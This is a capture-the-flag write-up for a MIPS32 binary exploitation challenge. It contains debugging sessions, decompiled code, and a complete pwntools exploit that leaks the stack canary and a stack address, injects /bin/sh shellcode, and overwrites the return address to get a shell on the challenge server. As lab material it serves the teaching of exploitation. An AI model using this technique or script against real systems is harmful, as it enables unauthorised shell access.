Shellcode injection on 32 bit MIPS binary.

Information

  • category : pwn
  • points : 216

Description

We use microcontrollers to automate and conserve energy. IoT and stuff. Most of them don’t use CISC architectures.

Let’s start learning another architecture today!

nc noriscnofuture.forfuture.fluxfingers.net 1338

Four files: README.txt, no_risc_no_future, qemu-mipsel-static, run.sh

Writeup

Let’see the readme’s content:

No Risc No Future
Running a program in a foreign architecture can feel like an arcane, hard to debug endeavor.

To help you get started, we list some handy commands to bootstrap a more familiar setup.

qemu-user allows exposing a gdb stub before running the binary. This can be connected to from gdb.

In a first shell, expose the stub:

./qemu-mipsel-static -g 1234 no_risc_no_future

In a second shell, connect to the waiting process:

gdb-multiarch -ex "break main" -ex "target remote localhost:1234" -ex "continue" ./no_risc_no_future

Now the process should break at main and you can debug the process.

Enjoy!

We need to check for what architecture the binary no_risc_no_future is compiled.

$ file no_risc_no_future 
no_risc_no_future: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), 
statically linked, for GNU/Linux 3.2.0,  
not stripped

So we have a binary for MIPS at 32 bit.

Let’s run the program (I marked with # the comments) :

$ ./qemu-mipsel-static no_risc_no_future
aa # input
aa # output

bbbbbbbbb # input
bbbbbbbbb # output
I		  # output	
aaaaaaaaaaaaa # input
aaaaaaaaaaaaa # output

aaaa # input
aaaa # output
aaaaaaaa # output

aa # input
aa # output
a # output
aaaaaaaa # output

aa # input
aa # output
a # output 
aaaaaaaa # output

aaaaaaaaaaaaaaaaaaaaa # input
aaaaaaaaaaaaaaaaaaaaa # output

aaaabbbbbbbbbbbbbbbbbb # input
aaaabbbbbbbbbbbbbbbbbb # output

b # input
b # output
aabbbbbbbbbbbbbbbbbb # output

b # input
b # output
aabbbbbbbbbbbbbbbbbb # output

Apparently the program reads from stdin 10 times and prints the input.

Analyzing the binary with ghidra we can decompile the main function:

undefined4 main(void)
{
  int iStack80;
  char buf [64];
  int iStack12;
  
  iStack12 = __stack_chk_guard;
  iStack80 = 0;
  while (iStack80 < 10) {
    read(0,buf,0x100);
    puts(buf);
    iStack80 = iStack80 + 1;
  }
  if (iStack12 != __stack_chk_guard) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

As I deduced previously the main reads our input 10 times. We can also deduce that the binary is protected with stack canaries from the __stack_chk_fail() function.

Let’s confirm the stack canaries hypothesis:

$ checksec no_risc_no_future 
[*] 
    Arch:     mips-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

And yes is using stack canaries.

Why reading 10 times and puts the input?

Well, puts prints a sequence of chars ended with \x00. We know that the stack canaries in a 32 bit machine (At least in x86) are in the form of : \x00 + (byte_random) * 3.

If we pass to the program for example 64 * "A" + "\n", the puts we’ll show us the stack canaries. :D

Let’s write the exploit

#!/usr/bin/env python3

from pwn import process, context, log, remote, p32, u32

class Sender:

    def __init__(self, conn, debug):
        if conn != "run":
            self.conn = remote('noriscnofuture.forfuture.fluxfingers.net', 1338)
            # self.conn = remote('127.0.0.1', 1338)
        else:
            self.conn = process('./run.sh')
        if debug == True:
            context.log_level = 'debug'
    
    def send(self, data):
        self.conn.sendline(data)

# Stage 1 read stack cookies
# 1 Read cookie --> 64 byte,
snd = Sender('local', False)
snd.send('a' * 64)
snd.conn.recvline()
cookie = snd.conn.recvline().strip()
print("cookie : " + str(cookie))
assert len(cookie) == 3 # IF cookie is 32 bit and first byte is \x00

Run it:

$ ./exploit.py 
[+] Opening connection to noriscnofuture.forfuture.fluxfingers.net on port 1338: Done
cookie : b'\xc2\x98\xc3'

Run another time to check that the stack canaries change every time:

./exploit.py
[+] Opening connection to noriscnofuture.forfuture.fluxfingers.net on port 1338: Done
cookie : b'\xcb\x15\x81'

Yes we are able to read the cookies.

We see that NX is disabled so a shellcode injection is possible, however we need a valid address that points to our shellcode on the stack. Let’s see if on the stack there’s a valid address that we can leak, so let’s debug the binary with gdb.

In one terminal :

$ ./qemu-mipsel-static -g 4444 no_risc_no_future

And in another one:

gdb-multiarch -ex "break main" -ex "target remote localhost:4444" -ex "continue" -q ./no_risc_no_future
Reading symbols from ./no_risc_no_future...
(No debugging symbols found in ./no_risc_no_future)
Breakpoint 1 at 0x4005fc
Remote debugging using localhost:4444
0x00400350 in __start ()
Continuing.

Breakpoint 1, 0x004005fc in main ()

Let’s disassemble the main and set a breakpoint before the puts.

(gdb) disass main
Dump of assembler code for function main:
   0x004005e0 <+0>:     addiu   sp,sp,-104
   0x004005e4 <+4>:     sw      ra,100(sp)
   0x004005e8 <+8>:     sw      s8,96(sp)
   0x004005ec <+12>:    move    s8,sp
   0x004005f0 <+16>:    lui     gp,0x4a
   0x004005f4 <+20>:    addiu   gp,gp,-32000
   0x004005f8 <+24>:    sw      gp,16(sp)
=> 0x004005fc <+28>:    lw      v0,-32712(gp)
   0x00400600 <+32>:    lw      v0,0(v0)
   0x00400604 <+36>:    sw      v0,92(s8)
   0x00400608 <+40>:    sw      zero,24(s8)
   0x0040060c <+44>:    b       0x400660 <main+128>
   0x00400610 <+48>:    nop
   0x00400614 <+52>:    addiu   v0,s8,28
   0x00400618 <+56>:    li      a2,256
   0x0040061c <+60>:    move    a1,v0
   0x00400620 <+64>:    move    a0,zero
   0x00400624 <+68>:    lw      v0,-32620(gp)
   0x00400628 <+72>:    move    t9,v0
   0x0040062c <+76>:    bal     0x41d2c0 <__read>
   0x00400630 <+80>:    nop
   0x00400634 <+84>:    lw      gp,16(s8)
   0x00400638 <+88>:    addiu   v0,s8,28
   0x0040063c <+92>:    move    a0,v0
   0x00400640 <+96>:    lw      v0,-32616(gp)
   0x00400644 <+100>:   move    t9,v0
   0x00400648 <+104>:   bal     0x408f70 <puts>
   ...
(gdb) b *0x00400648
Breakpoint 2 at 0x400648
(gdb) c

Now write 63 * “A” on the executing terminal and check the stack using gdb:

We can see that our buffer starts in 0x7ffff0f0, and there’s an address on the stack which points to 0x7ffff140, so 80 bytes higher.

Now we need to leak this address, because it changes every time if the server is using ASLR, but even if it’s not using ASLR the stack space on the server might be a little bit different. Because I wanted to confirm that the addresses marked in light blue don’t change every time, I leaked them too. As far as I can tell those are data and code addresses, and because we have PIE disabled they should be the same at every execution.

# Stage 2 
# 2 Read next --> 72 byte
snd.send('a' * 72)
snd.conn.recvline()
val2 = snd.conn.recvline().strip()
print("val2 : " + str(val2))
# 3 Read next --> 92 byte
snd.send('a' * 92)
snd.conn.recvline()
val3 = snd.conn.recvline().strip()
print("val3 : " + str(val3))
# 4 Read next --> 97 byte
snd.send('a' * 99)
snd.conn.recvline()
val4 = snd.conn.recvline().strip()
print("val4 : " + str(val4))
# 5 stack address...
snd.send('a' * 103)
snd.conn.recvline()
val5 = snd.conn.recvline().strip()[:4]
print("val5 : " + str(val5))

Output:

./exploit.py 
[+] Opening connection to noriscnofuture.forfuture.fluxfingers.net on port 1338: Done
cookie : b'\x95k\xe9'
val2 : b'\x08@'
val3 : b'\x83I'
val4 : b'\xa8\x08@'
val5 : b'0\xfd\xff\x7f'

In fact the leaked address which points in the stack is a bit different on the server, while the other addresses val2, val3, val4 are the same as mine, as I deduced.

Now we need to understand where the return address is located on the stack. In MIPS there’s no instruction called ret, instead the return value is stored on the register ra.

Let’s check the disassembler of the last instructions using gdb :

0x0040069c <+188>:   lw      ra,100(sp)
0x004006a0 <+192>:   lw      s8,96(sp)
0x004006a4 <+196>:   addiu   sp,sp,104
0x004006a8 <+200>:   jr      ra
0x004006ac <+204>:   nop

(gdb) b *0x0040069c
Breakpoint 2 at 0x40069c
(gdb) c
Continuing.

Breakpoint 2, 0x0040069c in main ()

(gdb) x/30xw $sp
0x7ffff0d8:     0x00498300      0x7ffff204      0x7ffff382      0x004002d4
0x7ffff0e8:     0x00498300      0x0041fb68      0x0000000a      0x41410a61
0x7ffff0f8:     0x41414141      0x41414141      0x41414141      0x41414141
0x7ffff108:     0x41414141      0x41414141      0x41414141      0x41414141
0x7ffff118:     0x41414141      0x41414141      0x41414141      0x41414141
0x7ffff128:     0x41414141      0x41414141      0x0a414141      0x71b32100
0x7ffff138:     0x00000000      0x004008e8      0x00000000      0x00000000
0x7ffff148:     0x00000000      0x00000000

According to the man of the instruction lw, in ra is stored the value in memory of $sp + 100 = 0x004008e8.

Now we need to overwrite this value with a valid return address on the stack. From the leaked address (val5) we can substract 80 and obtain the starting address of our buffer.

There are various shellcode on shell-storm, this is the only that worked. The other ones didn’t work, maybe for the cache coherency problem described in this paper.

Exploit

#!/usr/bin/env python3

from pwn import process, context, log, remote, p32, u32

class Sender:

    def __init__(self, conn, debug):
        if conn != "run":
            self.conn = remote('noriscnofuture.forfuture.fluxfingers.net', 1338)
            # self.conn = remote('127.0.0.1', 1338)
        else:
            self.conn = process('./run.sh')
        if debug == True:
            context.log_level = 'debug'
    
    def send(self, data):
        self.conn.sendline(data)

# Stage 1 read stack cookies
# 1 Read cookie --> 64 byte,
snd = Sender('local', True)
snd.send('a' * 64)
snd.conn.recvline()
cookie = snd.conn.recvline().strip()
print("cookie : " + str(cookie))
assert len(cookie) == 3 # IF cookie is 32 bit and first byte is \x00

# Stage 2 
# 2 Read next --> 72 byte
snd.send('a' * 72)
snd.conn.recvline()
val2 = snd.conn.recvline().strip()
print("val2 : " + str(val2))
# 3 Read next --> 92 byte
snd.send('a' * 92)
snd.conn.recvline()
val3 = snd.conn.recvline().strip()
print("val3 : " + str(val3))
# 4 Read next --> 97 byte
snd.send('a' * 99)
snd.conn.recvline()
val4 = snd.conn.recvline().strip()
print("val4 : " + str(val4))
# 5 stack address...
snd.send('a' * 103)
snd.conn.recvline()
val5 = snd.conn.recvline().strip()[:4]
print("val5 : " + str(val5))

shellcode = b'\x50\x73\x06\x24\xff\xff\xd0\x04\x50\x73\x0f\x24\xff\xff' \
          + b'\x06\x28\xe0\xff\xbd\x27\xd7\xff\x0f\x24\x27\x78\xe0\x01' \
          + b'\x21\x20\xef\x03\xe8\xff\xa4\xaf\xec\xff\xa0\xaf\xe8\xff' \
          + b'\xa5\x23\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh'

payload = shellcode + b'\x00' * (64-len(shellcode))
payload += b'\x00' + cookie
payload += b'\x00' * 4
payload += p32(u32(val5) - 80) # Unpack and pack 

with open("out.txt", "wb") as f:
    f.write(payload)

for i in range(0, 5):
    snd.send(payload)
    snd.conn.recvline()
snd.conn.interactive()

Launch the exploit:

Flag

flag{indeed_there_will_be_no_future_without_risc}